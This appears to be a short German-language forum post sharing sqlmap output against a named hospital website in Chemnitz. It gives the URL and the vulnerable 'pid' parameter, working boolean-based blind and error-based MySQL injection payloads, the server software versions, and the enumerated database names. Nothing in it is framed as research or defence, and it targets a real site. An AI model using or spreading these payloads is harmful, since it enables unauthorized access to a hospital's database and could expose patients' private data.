Keine Antworten in diesem Thema

[Ch!ller]

http://www.klinikumchemnitz.de/mp/click.system?menu=864&nav=880&navid=881&pid=881

Parameter: pid (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: menu=864&nav=880&navid=881&pid=881 RLIKE (SELECT (CASE WHEN (6795=6795) THEN 881 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: menu=864&nav=880&navid=881&pid=881 AND (SELECT 9390 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (CASE WHEN (9390=9390) THEN 1 ELSE 0 END)),0x7162787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
web server operating system: Linux SuSE
web application technology: Apache 2.2.29
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] klinikch